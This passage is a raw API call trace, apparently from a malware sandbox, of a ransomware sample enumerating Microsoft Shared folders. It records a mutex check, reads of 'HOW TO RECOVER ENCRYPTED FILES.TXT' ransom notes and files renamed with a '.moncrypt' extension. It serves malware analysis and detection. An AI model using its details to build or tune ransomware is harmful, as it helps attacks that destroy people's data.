ftCreationTime.dwLowDateTime=0x41b3bf80, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x41b3bf80, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x41b3bf80, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 0x54e240 [0054.576] FileTimeToLocalFileTime (in: lpFileTime=0x18e7f0, lpLocalFileTime=0x18e770 | out: lpLocalFileTime=0x18e770) returned 1 [0054.576] FileTimeToDosDateTime (in: lpFileTime=0x18e770, lpFatDate=0x18e7be, lpFatTime=0x18e7bc | out: lpFatDate=0x18e7be, lpFatTime=0x18e7bc) returned 1 [0054.576] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0054.576] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0054.576] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0054.576] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x649 [0054.576] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0054.576] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0054.576] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x649 [0054.576] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0054.576] ReadFile (in: hFile=0x18c, lpBuffer=0x1dccd48, nNumberOfBytesToRead=0x649, lpNumberOfBytesRead=0x18e9e8, lpOverlapped=0x0 | out: lpBuffer=0x1dccd48*, lpNumberOfBytesRead=0x18e9e8*=0x649, lpOverlapped=0x0) returned 1 [0054.577] CloseHandle (hObject=0x18c) returned 1 [0054.577] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x2ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATERMAR.INF", cAlternateFileName="")) returned 1 [0054.577] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0054.577] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0054.577] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.577] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.577] GlobalUnlock (hMem=0x44000c) returned 0 [0054.577] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.577] GlobalLock (hMem=0x440004) returned 0x557b88 [0054.577] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.577] GlobalUnlock (hMem=0x44000c) returned 0 [0054.577] GlobalHandle (pMem=0x557b88) returned 0x440004 [0054.577] GlobalUnlock (hMem=0x440004) returned 0 [0054.577] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0054.577] CharLowerBuffW (in: lpsz="WATERMAR.INF", cchLength=0xc | out: lpsz="watermar.inf") returned 0xc [0054.577] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.578] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.578] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.578] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.578] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.578] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.578] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.578] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.578] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.578] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.578] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.578] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.578] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0054.578] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.INF", cchWideChar=77, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.INF", lpUsedDefaultChar=0x0) returned 77 [0054.578] CharLowerBuffW (in: lpsz=".INF", cchLength=0x4 | out: lpsz=".inf") returned 0x4 [0054.578] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".inf", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".infShared\\THEMES14\\WATERMAR\\WATERMAR.INF", lpUsedDefaultChar=0x0) returned 4 [0054.578] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x2ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATERMAR.INF", cAlternateFileName="")) returned 0 [0054.578] GetLastError () returned 0x12 [0054.578] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0054.578] GlobalLock (hMem=0x440004) returned 0x550170 [0054.578] GlobalHandle (pMem=0x550170) returned 0x440004 [0054.578] GlobalUnlock (hMem=0x440004) returned 0 [0054.579] GlobalLock (hMem=0x440004) returned 0x550170 [0054.579] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.579] GlobalHandle (pMem=0x550170) returned 0x440004 [0054.579] GlobalUnlock (hMem=0x440004) returned 0 [0054.579] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.579] GlobalUnlock (hMem=0x44000c) returned 0 [0054.579] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e61d88, cbMultiByte=3, lpWideCharStr=0x18da98, cchWideChar=2047 | out: lpWideCharStr="*.* SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 3 [0054.579] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x41b620e0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x41b620e0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0054.579] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0054.579] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0054.579] GlobalLock (hMem=0x44000c) returned 0x550170 [0054.579] GlobalHandle (pMem=0x550170) returned 0x44000c [0054.579] GlobalUnlock (hMem=0x44000c) returned 0 [0054.579] GlobalLock (hMem=0x44000c) returned 0x550170 [0054.579] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.579] GlobalHandle (pMem=0x550170) returned 0x44000c [0054.579] GlobalUnlock (hMem=0x44000c) returned 0 [0054.579] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.579] GlobalUnlock (hMem=0x440004) returned 0 [0054.579] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0054.579] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x41b620e0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x41b620e0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.579] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0054.579] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0054.579] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.580] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.580] GlobalUnlock (hMem=0x440004) returned 0 [0054.580] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.580] GlobalLock (hMem=0x44000c) returned 0x557b88 [0054.580] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.580] GlobalUnlock (hMem=0x440004) returned 0 [0054.580] GlobalHandle (pMem=0x557b88) returned 0x44000c [0054.580] GlobalUnlock (hMem=0x44000c) returned 0 [0054.580] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0054.580] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41b3bf80, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x41b3bf80, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x41b3bf80, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 1 [0054.580] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0054.580] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0054.580] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.580] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.580] GlobalUnlock (hMem=0x44000c) returned 0 [0054.580] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.580] GlobalLock (hMem=0x440004) returned 0x557b88 [0054.580] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.580] GlobalUnlock (hMem=0x44000c) returned 0 [0054.580] GlobalHandle (pMem=0x557b88) returned 0x440004 [0054.580] GlobalUnlock (hMem=0x440004) returned 0 [0054.580] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0054.580] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x623, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0054.580] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0054.580] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0054.580] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.580] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.580] GlobalUnlock (hMem=0x440004) returned 0 [0054.581] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.581] GlobalLock (hMem=0x44000c) returned 0x557b88 [0054.581] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.581] GlobalUnlock (hMem=0x440004) returned 0 [0054.581] GlobalHandle (pMem=0x557b88) returned 0x44000c [0054.581] GlobalUnlock (hMem=0x44000c) returned 0 [0054.581] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0054.581] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x769f, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG.moncrypt", cAlternateFileName="THMBNA~1.MON")) returned 1 [0054.581] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0054.581] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0054.581] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.581] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.581] GlobalUnlock (hMem=0x44000c) returned 0 [0054.581] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.581] GlobalLock (hMem=0x440004) returned 0x557b88 [0054.581] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.581] GlobalUnlock (hMem=0x44000c) returned 0 [0054.581] GlobalHandle (pMem=0x557b88) returned 0x440004 [0054.581] GlobalUnlock (hMem=0x440004) returned 0 [0054.581] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0054.581] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37d2a200, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x37d2a200, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xc08b, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATERMAR.ELM.moncrypt", cAlternateFileName="WATERM~1.MON")) returned 1 [0054.581] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0054.581] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0054.581] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.581] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.581] GlobalUnlock (hMem=0x440004) returned 0 [0054.581] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.582] GlobalLock (hMem=0x44000c) returned 0x557b88 [0054.582] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.582] GlobalUnlock (hMem=0x440004) returned 0 [0054.582] GlobalHandle (pMem=0x557b88) returned 0x44000c [0054.582] GlobalUnlock (hMem=0x44000c) returned 0 [0054.582] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0054.582] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x2ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATERMAR.INF", cAlternateFileName="")) returned 1 [0054.582] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0054.582] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0054.582] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.582] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.582] GlobalUnlock (hMem=0x44000c) returned 0 [0054.582] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.582] GlobalLock (hMem=0x440004) returned 0x557b88 [0054.582] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.582] GlobalUnlock (hMem=0x44000c) returned 0 [0054.582] GlobalHandle (pMem=0x557b88) returned 0x440004 [0054.582] GlobalUnlock (hMem=0x440004) returned 0 [0054.582] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0054.582] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x2ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATERMAR.INF", cAlternateFileName="")) returned 0 [0054.582] GetLastError () returned 0x12 [0054.582] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0054.583] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATERMAR", cAlternateFileName="")) returned 0 [0054.583] GetLastError () returned 0x12 [0054.583] FindClose (in: hFindFile=0x54e1c0 | out: hFindFile=0x54e1c0) returned 1 [0054.583] FindNextFileW (in: hFindFile=0x54e180, lpFindFileData=0x18f1e4 | out: lpFindFileData=0x18f1e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TRANSLAT", cAlternateFileName="")) returned 1 [0054.583] FileTimeToLocalFileTime (in: lpFileTime=0x18f1f8, lpLocalFileTime=0x18f104 | out: lpLocalFileTime=0x18f104) returned 1 [0054.583] FileTimeToDosDateTime (in: lpFileTime=0x18f104, lpFatDate=0x18f1c6, lpFatTime=0x18f1c4 | out: lpFatDate=0x18f1c6, lpFatTime=0x18f1c4) returned 1 [0054.583] GlobalLock (hMem=0x440004) returned 0x550170 [0054.583] GlobalHandle (pMem=0x550170) returned 0x440004 [0054.583] GlobalUnlock (hMem=0x440004) returned 0 [0054.583] GlobalLock (hMem=0x440004) returned 0x550170 [0054.583] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.583] GlobalHandle (pMem=0x550170) returned 0x440004 [0054.583] GlobalUnlock (hMem=0x440004) returned 0 [0054.583] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.583] GlobalUnlock (hMem=0x44000c) returned 0 [0054.583] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0054.584] GlobalLock (hMem=0x44000c) returned 0x550170 [0054.584] GlobalHandle (pMem=0x550170) returned 0x44000c [0054.584] GlobalUnlock (hMem=0x44000c) returned 0 [0054.584] GlobalLock (hMem=0x44000c) returned 0x550170 [0054.584] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.584] GlobalHandle (pMem=0x550170) returned 0x44000c [0054.584] GlobalUnlock (hMem=0x44000c) returned 0 [0054.584] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.584] GlobalUnlock (hMem=0x440004) returned 0 [0054.584] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0054.584] SysReAllocStringLen (in: pbstr=0x18f104*=0x0, psz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT", len=0x37 | out: pbstr=0x18f104*="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT") returned 1 [0054.584] GlobalLock (hMem=0x440004) returned 0x550170 [0054.584] GlobalHandle (pMem=0x550170) returned 0x440004 [0054.584] GlobalUnlock (hMem=0x440004) returned 0 [0054.584] GlobalLock (hMem=0x440004) returned 0x550170 [0054.584] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.584] GlobalHandle (pMem=0x550170) returned 0x440004 [0054.584] GlobalUnlock (hMem=0x440004) returned 0 [0054.584] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.584] GlobalUnlock (hMem=0x44000c) returned 0 [0054.584] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=26, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Microsoft\\Exchange Server\\ct Edition\\") returned 26 [0054.584] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\Microsoft\\Exchange Server", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a6d8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@刨U凼U企@\x18䀴Q\x18\x1b")) returned 0xffffffff [0054.592] GetLastError () returned 0x3 [0054.592] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\", cchLength=0x38 | out: lpsz="c:\\program files\\common files\\microsoft shared\\translat\\") returned 0x38 [0054.593] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=26, lpWideCharStr=0x18dd84, 